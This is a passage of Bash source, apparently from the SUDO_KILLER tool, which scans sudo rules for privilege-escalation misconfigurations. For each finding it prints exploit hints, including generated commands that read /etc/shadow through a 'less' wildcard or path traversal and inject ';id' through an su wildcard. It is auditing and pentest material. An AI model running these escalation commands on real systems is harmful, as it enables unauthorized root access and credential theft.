exprv11=$(echo "$cmd" 2>/dev/null | grep -E '\(ALL\)\s+ALL' | grep -v "PASSWD")
if [ "$exprv11" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 1]${RESET}"
echo -e "[-] Variant 1: $who (ALL) ALL"
echo -e "[-] Identified rule: \n$exprv11"
echo -e "[-] Impersonate: ${BOLD}${BLUE}Any user${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}Yes (any account)${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Any${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
# Variant 4/5: user (ALL) /usr/bin/command
# regex for /etc/sudoers | grep -E '^\S+\s+\(ALL\)\s+/usr/bin/\w+'
exprv451=$(echo "$cmd" 2>/dev/null | grep -E '\(ALL\)\s+/*bin*' | grep -v "PASSWD")
if [ "$exprv451" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 4/5]${RESET}"
echo -e "[-] Variant 4/5: $who (ALL) */s|bin/*"
echo -e "[-] Identified rule: \n$exprv451"
echo -e "[-] Impersonate: ${BOLD}${BLUE}Any user${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}Yes (any account)${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Listed one from identified rule${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
# # Variant 2: %group (ALL) ALL - (ALL : ALL) ALL
# # regex for /etc/sudoers | grep -E '^%\w+\s+\(ALL\)\s+ALL'
exprv21=$(echo "$cmd" 2>/dev/null | grep -E '\(ALL \: ALL\)\s+ALL' | grep -v "PASSWD")
if [ "$exprv21" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 2]${RESET}"
echo -e "[-] Variant 2: %group (ALL) ALL"
echo -e "[-] Identified rule: \n$exprv21"
echo -e "[-] Impersonate: ${BOLD}${BLUE}Any user or group${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}Yes (any account)${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Any${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
# # Variant 6: %group (ALL) /sbin/reboot, /sbin/shutdown
# regex for /etc/sudoers | grep -E '^%\w+\s+\(ALL\)\s+/*bin/\*'
exprv61=$(echo "$cmd" 2>/dev/null | grep -E '\(ALL \: ALL\)\s+/*bin*' | grep -v "PASSWD")
if [ "$exprv61" ]; then
echo -e "${BOLD}${RED}[+] Excessive Privilege detected [Variant 6]${RESET}"
echo -e "[-] Variant 6: %group (ALL) */s|bin/*"
echo -e "[-] Identified rule: \n$exprv61"
echo -e "[-] Impersonate: ${BOLD}${BLUE}Any user or group${RESET}"
echo -e "[-] Password required: ${BOLD}${BLUE}Yes (any account)${RESET}"
echo -e "[-] Command/bin: ${BOLD}${BLUE}Listed one from identified rule${RESET}"
echo -e "[*] Notes: notes/execessive_priv.txt \n"
fi
}
fn_chown() {
#sudochownrec=`echo '' | sudo -S -l -k 2>/dev/null | grep "(root) NOPASSWD:" | grep "/bin/chown -hR"`
sudochownrec=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep "/bin/chown -hR")
if [ "$sudochownrec" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo chown with recursive, was found: ${RESET}"
echo -e "$sudochownrec"
echo -e "\n[-] You can change the owner of directories, refer to notes/chown-hR.txt for exploitation\n"
echo -e "[-] run the command: sudo chown -hR [new_owner:old_owner] [/parent/children] "
echo -e "[-] Can be combined with other misconfig for complete privilege escalation such as wildcard(script)/missing script \n"
# echo -e "[-] you can then modify or create .sh script that can be run with root right "
# echo -e "[-] #! /bin/bash "
# echo -e "[-] bash "
# echo -e "[-] sudo ./[appp].sh \n"
fi
sudochown=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep "/bin/chown")
if [ "$sudochown" ]; then
echo -e "${BOLD}${GREEN}[+] Sudo chown, was found: ${RESET}"
echo -e "$sudochown"
echo -e "\n[-] You can change the owner of directories, refer to notes/chown-hR.txt for exploitation\n "
fi
}
fn_impersonate() {
#sudoimpuser=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep -w "/bin/su")
#sudoimpuser=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep -iw "/*bin/su *")
sudoimpuser=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep -iw "/*bin/su *" | grep -v "su root\|su - root" | grep -v "/*bin/su -$\|/*bin/su \*$\|/*bin/su \- \*$")
if [ "$sudoimpuser" ]; then
echo -e "${BOLD}${RED}[-] Potential user impersonation detected!${RESET}"
echo -e "${BOLD}${GREEN}[+] User Impersonation : command su found within sudo's rules: ${RESET}"
echo -e "$sudoimpuser"
echo -e "\n[-] You can impersonate users, by running the cmd: sudo su - [USER] "
echo -e "[+] Run the SUDO_KILLER AGAIN after impersonating a user!"
echo -e "[*] Notes: notes/user_impersonation.txt \n"
fi
sudoimproot=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep -iw "/bin/su -$\|/bin/su - \*$\|/bin/su \*$\|/bin/su root$\|/*bin/su - root,")
if [ "$sudoimproot" ]; then
echo -e "${BOLD}${RED}[-] Potential root impersonation detected!${RESET}"
echo -e "${BOLD}${GREEN}[+] Root Impersonation : command su found within sudo's rules: ${RESET}"
echo -e "$sudoimproot"
echo -e "\n[-] You can impersonate root, by running the cmd:\n ${BOLD}${BLUE}sudo su -${RESET} or ${BOLD}${BLUE}sudo su - root${RESET} or ${BOLD}${BLUE}sudo su${RESET} or ${BOLD}${BLUE}sudo su root${RESET}"
echo -e "[+] Run the SUDO_KILLER AGAIN after impersonating a user!"
echo -e "[*] Notes: notes/user_impersonation.txt \n"
fi
# sudo -l | grep "NOPASSWD"| grep -i "/bin/su -$"
# sudo -l | grep "NOPASSWD"| grep -i "/bin/su - \*$"
# check1=$(sudo -l | grep "NOPASSWD: /bin/su - root -c")
# check2=$(sudo -l | grep "NOPASSWD: /bin/su - root -c" | cut -d/ -f 5- | cut -d " " -f 1 | grep "\*")
# check3=$(sudo -l | grep "NOPASSWD: /bin/su - root -c" | cut -d/ -f 5- | cut -d " " -f 2 | grep "\*")
# if [ -n "$check1" ] && [ -n "$check2" ] && [ -n "$check3" ]; then
# var1="/bin/su - root -c "
# var2=$(sudo -l | grep "NOPASSWD: /bin/su - root -c" | cut -d ":" -f 2 | sed 's/ \/bin\/su - root -c //g' | sed 's/\*/DUMP/g')
# var2=\"${var2}\;id\"
# echo -e "${BOLD}${RED}[-] Vulnerable to a misconfiguration (wildcard + impersonation) ${RESET}"
# echo -e "[+] This misconfiguration which includes wildcard and impersonation allow to PE to root "
# echo -e "$check1"
# echo -e "[*] Exploit: run the command below:"
# echo -e "[*] sudo $var1$var2"
# echo -e "\n"
# fi
}
fn_userimp() {
# comment due to issue > Checking sudo without password #9
#sudonopassuser==`echo '' | sudo -S -l -k 2>/dev/null | grep "NOPASSWD:" | grep "/bin\|/sbin"`
#sudonopassuser=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep -v "root" | sed 's/NOPASSWD//g' | sed 's/(//g' | sed 's/)//g' | sed 's/://g')
sudonopassuser=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep -v "(root)\|(ALL" | sed 's/NOPASSWD//g' | sed 's/(//g' | sed 's/)//g' | sed 's/://g' | sort -u)
if [ "$sudonopassuser" ]; then
echo -e "${BOLD}${GREEN}[+] Can impersonate non-root user: ${RESET}"
echo -e "$sudonopassuser"
echo -e "[-] You can impersonate users, by running the cmd: sudo -u [USER] /path/bin"
echo -e "[-] Refer to section [Dangerous bins to escalate to other users] for the exact commands \n"
fi
}
fn_wildcard() {
# grep '*/\|/*\|*' or | grep '*/"\|"/*"\|"*''
#sudowildcard=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep '*/\|/*\|*' )
#sudowildcard=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep '\*' )
sudowildcard=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep "(root)\|(ALL)\|(ALL : ALL)" | grep '\*')
if [ "$sudowildcard" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard was found in sudo's rules: ${RESET}"
echo -e "$sudowildcard \n"
fi
#sudowildcardsh=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep "\*" | grep ".sh")
sudowildcardsh=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep "(root)\|(ALL)\|(ALL : ALL)" | grep '\*' | grep ".sh")
if [ "$sudowildcardsh" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with a bash script was found in sudo's rules: ${RESET}"
echo -e "$sudowildcardsh \n"
fi
sudowildcardless=$(echo "$cmd" 2>/dev/null | grep "less")
if [ "$sudowildcardless" ]; then
exploit1_sudowildcardless=$(echo "$cmd" 2>/dev/null | grep less | cut -d ":" -f 2- | sed 's/*$/dump \/etc\/shadow/g' | sed s'/*/dump/g')
exploit2_sudowildcardless=$(echo "$cmd" 2>/dev/null | grep less | cut -d ":" -f 2- | sed 's/*$/..\/..\/..\/..\/..\/etc\/shadow/g' | sed s'/*/dump/g')
sudowildcardlesspwd=$(echo "$sudowildcardless" 2>/dev/null | grep "PASSWD")
if [ "$sudowildcardlesspwd" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with less command detected ${RESET}${BLUE}(No password required!): ${RESET}"
echo -e "$sudowildcardless \n"
echo -e "Exploit1: sudo$exploit1_sudowildcardless"
echo -e "Exploit2: sudo$exploit2_sudowildcardless\n"
else
echo -e "${BOLD}${GREEN}[+] Wildcard with less command detected (Password required!): ${RESET}"
echo -e "$sudowildcardless \n"
echo -e "Exploit1: sudo$exploit1_sudowildcardless"
echo -e "Exploit2: sudo$exploit2_sudowildcardless\n"
fi
fi
sudowildcardimpr=$(echo "$cmd" 2>/dev/null | grep "/bin/su" | grep " -c " | grep "*$" )
if [ "$sudowildcardimpr" ]; then
sudowildcardimprpwd=$(echo "$sudowildcardimpr" 2>/dev/null | grep "PASSWD")
if [ "$sudowildcardimprpwd" ]; then
sudowildcardimprpwd1=$(echo "$cmd" 2>/dev/null | grep "/bin/su" | grep " -c " | cut -d ":" -f 2 | grep "*$" | sed 's/ -c / -c \"/g' |sed 's/*$/dump;id\"/g' | sed 's/*/dump/g')
echo -e "${BOLD}${GREEN}[+] Wildcard with su detected ${RESET}${BLUE}(No password required!): ${RESET}"
echo -e "$sudowildcardimpr \n"
echo -e "Exploit: sudo$sudowildcardimprpwd1"
else
sudowildcardimprpwd2=$(echo "$cmd" 2>/dev/null | grep "/bin/su" | grep " -c " | grep "*$" | sed 's/ -c / -c \"/g' | sed 's/*$/dump;id\"/g' | sed 's/*/dump/g')
echo -e "${BOLD}${GREEN}[+] Wildcard with su detected (Password required!): ${RESET}"
echo -e "$sudowildcardimpr \n"
echo -e "Exploit: sudo$sudowildcardimprpwd2"
fi
fi
}
fn_sinject() {
#### Sudo Injection
sudoinj=$(cat /proc/sys/kernel/yama/ptrace_scope | grep 0 2>/dev/null)
if [ "$sudoinj" ]; then
echo -e "${BOLD}${GREEN}[+] Ptrace is set to zero: ${RESET}"
echo -e "[-] All processes can be debugged, as long as they have same uid"
echo -e "[-] It is possible to inject process that have valid sudo token and activate our own sudo token."
echo -e "[*] Notes: refer to: https://github.com/nongiach/sudo_inject for more information"
echo -e "[*] Exploit: res/sudo_injec \n"
fi
}
fn_scache() {
sudocache=$(echo "$cmd" 2>/dev/null | grep " !tty_tickets")
if [ "$sudocache" ]; then
echo -e "${BOLD}${GREEN}[+] Checking whether sudo caching is possible: ${RESET}"
echo -e "[-] Potentially vulnerable to MITRE Attack TTP T1548.003"
echo -e "[*] Notes: notes/sudo_caching.txt"
echo -e "\n"
fi
}
fn_fileownhijack() {
##### Chown file reference trick (file owner hijacking)
#sudowildcardchown=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "chown")
sudowildcardchown=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep "*" | grep "*bin/chown\|chown ")
if [ "$sudowildcardchown" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with chown was found in sudo's rules: ${RESET} "
echo -e "$sudowildcardchown"
echo -e "\n[-] ${BOLD}${RED}File owner hijacking possible.${RESET} "
echo -e "[*] Exploit: notes/file_owner_hijacking(chown).txt \n"
fi
##### tar file reference trick (file owner hijacking)
#sudowildcardtar=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "tar")
sudowildcardtar=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep "*" | grep "*bin/tar\|tar ")
if [ "$sudowildcardtar" ]; then
echo -e "${BOLD}${GREEN}[+] Wildcard with tar was found in sudo's rules: ${RESET}"
echo -e "$sudowildcardtar"
echo -e "\n[-] ${BOLD}${RED}File owner hijacking possible.${RESET} "
echo -e "[*] Exploit: notes/file_owner_hijacking(tar).txt \n"
fi
##### rsync file reference trick (file owner hijacking)
#sudowildcardrsync=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "rsync")
sudowildcardrsync=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep "*" | grep "*bin/rsync\|rsync ")
if [ "$sudowildcardtar" ]; then
echo -e "${BOLD}${GREEN} [+] Wildcard with rsync was found in sudo's rules: ${RESET}"
echo -e "$sudowildcardrsync"
echo -e "\n[-] ${BOLD}${RED}File owner hijacking possible.${RESET} "
echo -e "[*] Exploit: notes/file_owner_hijacking(rsync).txt \n"
fi
}
fn_filepermhijack() {
##### Chmod file reference trick(file permission hijacking)
#sudowildcardchmod=$(echo "$cmd" 2>/dev/null | grep "(root) NOPASSWD:" | grep "*" | grep "chmod")
sudowildcardchmod=$(echo "$cmd" 2>/dev/null | grep "NOPASSWD:" | grep "*" | grep "*bin/chmod\|chmod ")
if [ "$sudowildcardchmod" ]; then
echo -e "${BOLD}${GREEN} [+] Wildcard with chmod was found in the sudoers file: ${RESET}"
echo -e "$sudowildcardchmod"
echo -e "\n[-] ${BOLD}${RED}File permission hijacking possible.${RESET} "
echo -e "[*] Exploit: notes/file_permission_hijacking.txt \n"
fi
}
checkmisconfig() {
echo -e "${BOLD}${YELLOW}[4/21] ====== Checking for excessive privilege ====== ${RESET} \n"
fn_excess_priv
echo -e "${BOLD}${BLUE}\n[@] Check [4/21] Completed!${RESET} \n"
echo -e "${BOLD}${YELLOW}[5/21] ====== Checking for excessive privilege (a password required) ====== ${RESET} \n"
fn_excess_priv_pwd
echo -e "${BOLD}${BLUE}\n[@] Check [5/21] Completed!${RESET} \n"
echo -e "${BOLD}${YELLOW}[6/21] ====== Checking for Common Misconfiguration (User impersonation) ====== ${RESET} \n"
fn_impersonate
echo -e "${BOLD}${BLUE}\n[@] Check [6/21] Completed!${RESET} \n"
echo -e "${BOLD}${YELLOW}[7/21] ====== Checking for Common Misconfiguration (Change owner) ====== ${RESET} \n"
fn_chown
echo -e "${BOLD}${BLUE}\n[@] Check [7/21] Completed!${RESET} \n"
echo -e "${BOLD}${YELLOW}[8/21] ====== Checking for Common Misconfiguration (Wildcard) ====== ${RESET} \n"
fn_wildcard
echo -e "${BOLD}${BLUE}\n[@] Check [8/21] Completed!${RESET} \n"
echo -e "${BOLD}${YELLOW}[9/21] ====== Checking for Common Misconfiguration (Sudo Injection) ====== ${RESET} \n"
fn_sinject
echo -e "${BOLD}${BLUE}\n[@] Check [9/21] Completed!${RESET} \n"
echo -e "${BOLD}${YELLOW}[10/21] ====== Checking for Common Misconfiguration (Sudo Cache) ====== ${RESET} \n"
fn_scache
echo -e "${BOLD}${BLUE}\n[@] Check [10/21] Completed!${RESET} \n"
echo -e "${BOLD}${YELLOW}[11/21] ====== Checking for Common Misconfiguration (File Owner Hijacking) ====== ${RESET} \n"
fn_fileownhijack
echo -e "${BOLD}${BLUE}\n[@] Check [11/21] Completed!${RESET} \n"
echo -e "${BOLD}${YELLOW}[12/21] ====== Checking for Common Misconfiguration (File Permission Hijacking) ====== ${RESET} \n"
fn_filepermhijack
echo -e "${BOLD}${BLUE}\n[@] Check [12/21] Completed!${RESET} \n"
} # checkmisconfig
#------------------------------------------------------
fn_miss_scripts() {
# offline mode check
if [ "$import" ]; then
echo -e "${BOLD}${GREEN}[/] This check is excluded in the offline mode for now. ${RESET}"
else
:
current_user="$(whoami)"
groups >/tmp/groups.txt
# issue #10 > missing check on NOPAASWD
#sudo -S -l -k | grep "NOPASSWD" | sed 's/(root) //g' | sed 's/NOPASSWD: //g' | sed 's/,/\n/g' | sed -e 's/ *$//' | awk '$1=$1' | cut -d " " -f 1 | grep .sh > $vpath/script_list
#echo "$cmd" | grep "NOPASSWD" | sed 's/(root) //g' | sed 's/NOPASSWD: //g' | sed 's/,/\n/g' | sed -e 's/ *$//' | awk '$1=$1' | cut -d " " -f 1 | grep .sh > $vpath/script_list
echo "$cmd" | sed 's/(root) //g' | sed 's/NOPASSWD: //g' | sed 's/,/\n/g' | sed -e 's/ *$//' | awk '$1=$1' | cut -d " " -f 1 | grep .sh >$vpath/script_list
#echo -e "${BOLD}${GREEN}[+] The script/s found in sudoers can be found at: $vpath/script_list ${RESET}"
echo -e "${BOLD}${GREEN}[+] The script/s found in sudoers can be found at: $vpath/script_list ${RESET}"
#### Check for missing scripts that exists in the sudoers file and whether the current user is the owner of directory
echo -e "[+] Checking whether there are any missing scripts defined in sudoers but that no longer exists on system:"
#echo -e "\n --------------------------------------------------------------"
#cat $vpath/script_list | while read line
cat $vpath/script_list | while read line; do
#test
#echo $line
# missing file/script
if [ ! -f $line ]; then
rep=$(echo "$line" | awk -F.sh '{print $1}' | rev | cut -d "/" -f 2,3,4,5,6,7 | rev | cut -d " " -f 2)
echo -e "\n"
echo -e "------------------------------------------------------------------"
echo -e "[++] Missing script found:"
echo $line
echo -e "\n"
echo -e ">>> Checking Directory User Ownership of the missing script"